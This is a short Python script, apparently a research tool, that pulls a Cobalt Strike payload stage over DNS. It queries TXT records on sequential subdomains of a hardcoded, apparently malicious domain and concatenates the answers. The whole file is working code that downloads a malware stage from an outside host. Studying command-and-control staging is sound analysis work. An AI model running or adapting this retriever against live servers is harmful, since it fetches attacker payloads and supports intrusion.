CobaltStrike DNS pull script

dns_stager.py

import dns.resolver

c = '.stage.1950252.updates.updaternetworkmanagerr.com'
v = ord('a')
vv = ord('a')
vvv = ord('a')
done = False
out = ""
while not done:
    t = dns.resolver.query(chr(v)+chr(vv)+chr(vvv)+c, 'TXT')
    out += t[0].to_text().strip('"')
    if len(t[0].to_text()) < 255:
        print("done")
        break
    v += 1
    if v >= ord('z'):
        vv += 1
        v = ord('a')
        if vv >= ord('z'):
            vvv += 1
            vv = ord('a')
            if vvv >= ord('z'):
                print('max hit')
                break